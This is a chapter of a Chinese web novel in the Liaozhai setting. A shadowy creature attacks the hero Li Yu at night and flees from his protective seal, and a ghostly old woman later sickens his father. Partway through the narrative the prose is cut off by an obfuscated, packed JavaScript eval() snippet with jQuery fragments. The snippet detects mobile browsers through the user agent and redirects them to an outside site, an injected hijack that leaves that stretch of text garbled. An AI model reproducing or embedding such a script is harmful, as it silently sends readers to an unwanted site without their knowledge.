79.波澜暗生
作品:《在聊斋里管闲事》 李家今年依旧热热闹闹地张灯结彩、摆席面、放烟花,可是所有人都总觉得少了点什么,他们也都知道少了谁,只是没人特意在这种日子里说出来罢了。
在这之前,李化和木若菱问过好几次白行野的去向,李钰都只说白行野是被他师父带回去修炼了,他师父是世外高人不爱见外人,来了就将人带走了,因此才走得突然。二老都不是很相信,觉得白贤侄这样的人,即便看起来有些不近人情,相处过后却知他是最重情义的,断不会不告而别。怕就怕是两个孩子闹什么别扭,白贤侄是负气离开的。
在李钰三番五次信誓旦旦地承诺白行野过段时间便会回来,他俩才渐渐不问了。虽还有些担心,好在儿子如今很懂事,没有闲混日子,日常做的都是正事,除了提了几次议亲的事都被儿子拒绝了,其他方面儿子完全是个完美的大孝子。
除夕之夜二老是守不完岁的,早早就要回房去睡了,他们也不让李钰拘着这些规矩,让他想睡就去睡。李钰从善如流地回了房准备休息,可外面的炮竹声、烟花声不断,吵得他根本无法入眠。
黑暗中,李钰抽出颈间的红绳,细致地抚摸着红绳上挂着的玉佩,想象着白行野还陪在他身边,同他一起相拥而眠。如此过去了许久,抚摸玉佩的手指渐渐不动了,空荡的房间里,响起一声轻得几乎让人听不见的梦呓,“行野……”
沉于梦境的李钰并不知道,此时他房间内的一处角落里,有一双泛着红光的眼睛正紧紧盯着他!
那双古怪眼睛的主人属于一个身形怪异的黑影,黑影自角落处站了起来,身量十分高大,周身被诡异的黑雾覆盖,完全融入进了夜晚的黑暗中。它无声无息地向床边移动,一点点靠近了床上那背对它沉睡的身影。
区区一个凡人,那么弱小,那么脆弱,毫无意识地将后背展露给怪物。就像是提醒着黑影,就是现在!快快对他掏心挖肺,再将其撕成碎块,以解心头之恨!
血红双眼眯了起来,似乎很是满意现在的情况。黑雾中伸出一只五指嶙峋的怪手,寂静中似乎能听到那古怪的指节在咯吱作响。就在这一刻,怪手如猛禽利爪般毫不犹豫地抓向李钰的后心,意图直接将对方心脏挖出来!可黑影没想到的是,就在快接触到李钰身体的那一瞬间,一道金光自李钰体内迸发而出,恶心的怪手触之即燃,金色火焰竟然还继续向上侵蚀,灼热伴随着剧痛席卷而来,黑影边退边发出痛苦的嘶吼声。
李钰瞬间被惊醒,随即便听到詹贵儿稚嫩的声音惊道:“什么鬼东西?!”
李钰立刻回身去看,只见一大团黑乎乎的东西从眼前闪过,身上还燃着一簇金色的火焰,它破开窗户投入夜色中,速度极快,转眼就消失不见了,根本没看清到底是什么!
詹贵儿飞身要去追,被李钰喝止住了,小贵儿停在窗口看了许久,小小的脸皱成一团,脸上尽是紧张和后怕。李钰也快速下床点亮了烛火,房内毫无异样,他也走到窗边往外望去,窗外还是那副看惯了的宅院内的场景,仿佛刚才所发生的一切都是错觉。
“我没发现它……我竟然没发现它是什么时候混进来的……”詹贵儿喃喃自语,眼神还定定的看着黑影逃走的方向,神色颇为自责。李钰见他神情不对,忙将窗户关上,拉着小孩回到床上。
“不怕不怕,我身上有吕祖给的护体法印,岂是寻常鬼怪能伤到我的?”
詹贵儿依旧紧皱着眉头,看起来一点都不像个天真无邪的小朋友,他惭愧道:“我还是太弱了,以往我能发现那些进到家里的妖精鬼魂,皆是因为他们并不怕我发现,并没有刻意的隐藏。但这次不一样,它不但隐匿了行踪,还定是冲哥哥你来的!若非因为有吕祖的护体法印,就算我发现它了也斗不过它的。”
小孩儿看起来有些泄气,可他所言确是实情,李钰哪能不知这其中隐含的危险?他强打起精神安慰詹贵儿,思绪却十分混乱,他实在想不到此前与何人结下过这般深的仇怨,要置他于死地?若非说有仇怨,那有仇之人还在地府服刑,哪可能找他的麻烦?
现如今他没有白行野在身边保护,他还有护体法印,可家里其他人没有啊!若那东西再回来伤及家人了,这又如何是好?
这一晚,一人一小鬼各怀心事,枯坐到天明。
第二天一早,李钰将小贵儿留在家里守着李家二老,自己去城外的佛寺和道观走了一道。可和僧人、道长们沟通了此事后,他才发现原来并非人人都有降妖除魔的能力,倒是让他又是买佛珠又是买护身符的,却又说不出昨晚那东西究竟是何物。不过李钰还是买了一堆东西,就当求个心理安慰。
无奈之下,他只得去一趟翠竹林了。自从上次胡四相公被城隍打伤后,还闭关了一阵子,再次去寻他,却还是求对方帮忙。李钰也自觉惭愧,可想到一家子老小,他还是厚着脸皮决定走这一趟。
还好此时胡四相公已经出关,听完李钰的叙述,沉吟片刻才道:“你所形容的那个怪物,似妖似鬼且藏头露尾,甚至防着被贵儿这样一小鬼发现,应该并非什么大妖或厉鬼,至少它如今的能力还不算太强。”
李钰还没来得及松口气,只听胡四相公又道:“可这东西着实怪异,以往我也未曾遇到过,不如这些日子劳烦李公子给我腾个住处,若它再来,我且去会会它。”
“这怎么能说劳烦?是我又劳烦你了。”李钰忙道。
“既是朋友,何必说这些。”胡四相公摆手爽快道。
李钰笑笑,才发现这次来小翠竟没现身,便问:“小翠姑娘今日不在?”
“那丫头玩心太重,我教训了她几句,一气之下闭关修行去了,也是好事,不必管她。”胡四相公说罢,便起身准备和李钰一道走。
事关家里人的安危,李钰也不再客套,两人这便往城里去。
哪料到刚走到家门口,便见阿福焦急地等在门口,见李钰回来立刻上前道:“少爷,你可回来了,家里出事了!”
联想到昨夜之事,李钰霎时脸色大变,不等阿福多说立刻往正院的跑去。家里下人们都聚集在正房门口,有丫鬟婆子端着铜盆、木桶拿着巾帕来回进出,众人见少爷回来,连忙让开一条道。
李钰和胡四相公快步进门,一股恶臭立时扑面而来,随即便看到李化脸色发白,倚在床边正扶着木桶狂呕不止,木若菱焦急万分地不停给李化擦汗擦嘴。李钰的目光顺势落在木桶中,里面全是颜色诡异的绿水!而那恶臭的来源,竟然就是从李老爷子身体里吐出来的这些东西!
眼前这一幕,直将李钰惊出了一身冷汗,他几步上前问道:“爹,你这是怎么了?”
木若菱这才注意到儿子回来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346515|195725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,立刻就像抓住了救命稻草般,急切道:“珠儿,你可回来了!你爹是遭的什么罪,怎么就会发生这种事?”
话音刚落,李化又吐出了一滩绿水,木若菱忙端上茶水让他漱口,又拧干巾帕去为他擦拭嘴角。李化咳了几声,似乎终于好受了一点,虚弱又缓慢地靠回榻上,冲着李钰摇了摇头,安慰道:“没事孩子,吐了就好了,大夫已经看过了,不是什么大问题,下人已经熬药去了。”
一旁的婆子将散发恶臭的木桶拿开,又有一个新的木桶到榻边,这个动作应该已经重复了好几次,足见老爷子受了多少罪。
李钰求助似的望向胡四相公,胡四给了他一个稍安勿躁的眼神,上前对李老爷道:“此处阴气未散,李老爷可是遇到什么怪异之事?”
“这位是?”李化还是第一次见胡四相公,如今自己这幅模样,如何好意思见外客?
“不妨事的爹。”李钰看出老爹的窘迫,立刻出言安慰,又向二老介绍道,“这位是我朋友,人称胡四相公,他也算是道门众人,跟行野也认识的。”
一听白行野之名,李化对眼前之人放心了些许,他向木若菱使了个眼色,木大娘子立刻会意,屏退了下人。
这时,詹贵儿也现身了,面带愧色看着李钰,“对不起哥哥,是我没有保护好阿翁,阿翁今日午睡时遇到了‘那个东西’,那时候我正陪在阿婆身边,未曾及时发现它。”
没等李钰开口,李化先道:“你都是个孩子,何苦让你保护我?我们家也不是让你干这事的,再说我到底也没事,贵儿不用太自责。”
听到这话,詹贵儿更觉惭愧,眼圈都红了。李钰轻轻揉了揉他的头,安慰道:“没事,胡四相公最近会住在我们家,不会再有危险的。”
詹贵儿闻言面露惊喜,感激地谢过胡四相公。木若菱将贵儿揽进怀里轻言安慰,李化这才说起今日之事。
“午后那阵,我本来还以为是鬼压床了,谁成想那鬼东西可比鬼压床恶心多了。”李化皱着脸道,看上去是连回想都难受。
原来因昨晚夜间烟花鞭炮声放了许久,使人不得好眠,李化今日便有些困顿。午饭后便准备回房小睡一会儿,木若菱不欲打扰他,带着贵儿去了东院看李惠生前养的那些花草,如今属红梅正盛。因此午睡当时,只剩李化一人在房内酣睡。
老爷子正睡得迷迷糊糊之际,隐约听得门“吱呀”一声开了,他以为是木若菱回来了,也没在意,翻了个身冲着门口看了一眼就要继续睡。恍惚间这一眼却让人意外,哪里是自家大娘子,竟看到是一个白衣老妇进了屋!他还在想哪儿来的老婆子?这个时候李化本该立刻警觉起身,可他却只觉身体沉重异常,别说起床了,连手都抬不起来,整个身体竟是动弹不得。
而再看那白衣老妇更是让人心生畏惧,老婆子身形是难得一见的高大,甚至她还佝偻着背,都许多汉子还高出一头,使得她看起来更为怪异。待她走近,李化这才看出她那身白衣竟然是丧服!此时李化已然吓清醒了,可任凭他如何努力动作,四肢也毫无反应,想要张口叫人更是发不出一丝声音,只能瞪大着眼睛看那老妇越来越近!近到能看清她那张粗糙黝黑的面庞,那张脸不只是丑陋,而是面部肿胀非常,非要说的话,竟不似活人,反而如放置了好些日子的尸体,看起来极为可怖!

